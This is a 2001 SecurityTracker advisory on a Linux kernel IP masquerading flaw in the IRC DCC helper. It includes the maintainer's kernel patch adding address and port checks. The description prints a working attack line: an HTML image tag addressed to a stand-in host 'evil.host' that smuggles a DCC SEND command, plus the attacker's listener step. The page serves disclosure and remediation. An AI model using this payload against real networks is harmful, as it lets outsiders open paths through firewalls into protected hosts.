Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
|
|
|
|
|
|
|
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
|
|
|
|
Become a Partner and License Our Database or Notification Service
|
|
|
|
|
|
|
|
|
|
|
|
|
(An Updated Patch is Provided) Re: Linux Kernel IP Masquerading (NAT) Module May Let Some Remote Users Send Packets Through the Firewall and Access the Protected Network
|
|
SecurityTracker Alert ID: 1002117 |
|
SecurityTracker URL: http://securitytracker.com/id/1002117
|
|
CVE Reference:
GENERIC-MAP-NOMATCH
(Links to External Site)
|
Date: Jul 31 2001
|
Impact:
Host/resource access via network
|
Fix Available: Yes Vendor Confirmed: Yes
|
Version(s): Linux 2.0, Linux 2.2, and possibly other systems
|
Description:
RAZOR reported that there is a vulnerability in the Linux 2.0 and 2.2 kernel in the IP masquerading module that performs network address translation (NAT). The security hole may allow some unauthorized connections to traverse the firewall in specific situations.
It is reported that an additional protocol can be exploited by the NAT packet inspection vulnerability reported last year.
The original report noted that, for the FTP protocol, certain external systems are temporarily allowed to initiate inbound connections in certain situations by using the firewall as a packet forwarder.
It is reported that IRC DCC helper (the Linux 2.2 ip_masq_irc module, and modules shipped with some other operating systems and firewall software) can be exploited when a remote user on the protected network loads the following type of tag via an HTML web page or HTML-based e-mail:
<img src="ftp://evil.host:6667/%01DCC%20SEND%20file%20addr%20port">
("addr" is the internal host IP address represented as a decimal integer.)
The remote attacker must then listen on tcp port 6667 on the specified remote host ("evil.host") and generate valid FTP protocol responses. The attacker will then receive information about the port number on the firewall that will be forwarded into the protected network.
|
Impact:
A remote user can, in certain situations, pass unauthorized packets through the firewall.
|
Solution:
This message contains an updated patch. Do not use the patch in the original message. See the Source Message for the patch.
|
Cause:
State error
|
Underlying OS:
Linux (Any)
|
|
Message History:
This archive entry is a follow-up to the message listed below.
|
Source Message Contents
|
Date: Mon, 30 Jul 2001 22:42:00 -0300
Subject: Re: [RAZOR] Linux kernel IP masquerading vulnerability (_actual_ patch)
|
--MW5yreqqjyrRcusr
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
On Mon, Jul 30 2001 12:49:51 Michal Zalewski wrote:
> Topic:
> A remotely exploitable IP masquerading vulnerability in the Linux
> kernel can be used to penetrate protected private networks.
> :
> Vendor Response/Fix Information:
>
> Below is a patch against Linux 2.2.20pre kernel written by the I
> masquerading subsystem maintainer, Juanjo Ciarlante
> ...
The _actual_ working patch is attached, please apply this one, and of
course read original post by M. Zalewski:
http://www.securityfocus.com/archive/1/200361
--JuanJo Ciarlante
Linux IP MASQ 2.2 maintainer
--MW5yreqqjyrRcusr
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="ip_masq_irc-2.2.19-dcc_check-3.diff"
--- linux/net/ipv4/ip_masq_irc.c.dist Sun Mar 25 13:31:12 2001
+++ linux/net/ipv4/ip_masq_irc.c Mon Jul 30 13:29:49 2001
@@ -22,6 +22,7 @@
* <sshore@escape.ca>
* Scottie Shore : added support for mIRC DCC resume negotiation
* <sshore@escape.ca>
+ * Juan Jose Ciarlante : src addr/port checking for better security (spotted by Michal Zalewski)
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
@@ -38,7 +39,12 @@
* /etc/conf.modules (or /etc/modules.conf depending on your config)
* where modload will pick it up should you use modload to load your
* modules.
- *
+ *
+ * Insecure "back" data channel opening
+ * The helper does some trivial checks when opening a new DCC data
+ * channel. Use module parameter
+ * insecure=1
+ * ... to avoid this and get previous (pre 2.2.20) behaviour.
*/
#include <linux/config.h>
@@ -72,6 +78,9 @@
MODULE_PARM(ports, "1-" __MODULE_STRING(MAX_MASQ_APP_PORTS) "i");
+static int insecure=0;
+MODULE_PARM(insecure, "i");
+
/*
* List of supported DCC protocols
@@ -110,6 +119,30 @@
return 0;
}
+
+/*
+ * Ugly workaround [TM] --mummy ... why does this protocol sucks?
+ *
+ * The <1024 check and same source address just raise the
+ * security "feeling" => they don't prevent a redirector listening
+ * in same src address at a higher port; you should protect
+ * your internal network with ipchains output rules anyway
+ */
+
+static inline int masq_irc_out_check(const struct ip_masq *ms, __u32 data_saddr, __u16 data_sport) {
+ int allow=1;
+
+ IP_MASQ_DEBUG(1-debug, "masq_irc_out_check( s_addr=%d.%d.%d.%d, data_saddr=%d.%d.%d.%d, data_sport=%d",
+ NIPQUAD(ms->saddr), NIPQUAD(data_saddr), ntohs(data_sport));
+
+ /*
+ * Ignore data channel back to other src addr, nor to port < 1024
+ */
+ if (ms->saddr != data_saddr || ntohs(data_sport) < 1024)
+ allow=0;
+
+ return allow;
+}
int
masq_irc_out (struct ip_masq_app *mapp, struct ip_masq *ms, struct sk_buff **skb_p, __u32 maddr)
{
@@ -118,7 +151,7 @@
struct tcphdr *th;
char *data, *data_limit;
__u32 s_addr;
- __u16 s_port;
+ __u32 s_port; /* larger to allow strtoul() return value validation */
struct ip_masq *n_ms;
char buf[20]; /* "m_addr m_port" (dec base)*/
unsigned buf_len;
@@ -199,12 +232,25 @@
s_port = simple_strtoul(data,&data,10);
addr_end_p = data;
+ /* Sanity checks */
+ if (!s_addr || !s_port || s_port > 65535)
+ continue;
+
+ /* Prefer net order from now on */
+ s_addr = htonl(s_addr);
+ s_port = htons(s_port);
+
+ /* Simple validation */
+ if (!insecure && !masq_irc_out_check(ms, s_addr, s_port))
+ /* We may just: return 0; */
+ continue;
+
/* Do we already have a port open for this client?
* If so, use it (for DCC ACCEPT)
*/
n_ms = ip_masq_out_get(IPPROTO_TCP,
- htonl(s_addr),htons(s_port),
+ s_addr, s_port,
0, 0);
/*
@@ -216,7 +262,7 @@
if (n_ms==NULL)
n_ms = ip_masq_new(IPPROTO_TCP,
maddr, 0,
- htonl(s_addr),htons(s_port),
+ s_addr, s_port,
0, 0,
IP_MASQ_F_NO_DPORT|IP_MASQ_F_NO_DADDR);
if (n_ms==NULL)
@@ -236,7 +282,10 @@
diff = buf_len - (addr_end_p-addr_beg_p);
*addr_beg_p = '\0';
- IP_MASQ_DEBUG(1-debug, "masq_irc_out(): '%s' %X:%X detected (diff=%d)\n", dcc_p, s_addr,s_port, diff);
+ IP_MASQ_DEBUG(1-debug, "masq_irc_out(): '%s' %d.%d.%d.%d:%d -> %d.%d.%d.%d:%d detected (diff=%d)\n", dcc_p,
+ NIPQUAD(s_addr), htons(s_port),
+ NIPQUAD(n_ms->maddr), htons(n_ms->mport),
+ diff);
/*
* No shift.
--MW5yreqqjyrRcusr--
|
|
Go to the Top of This SecurityTracker Archive Page
|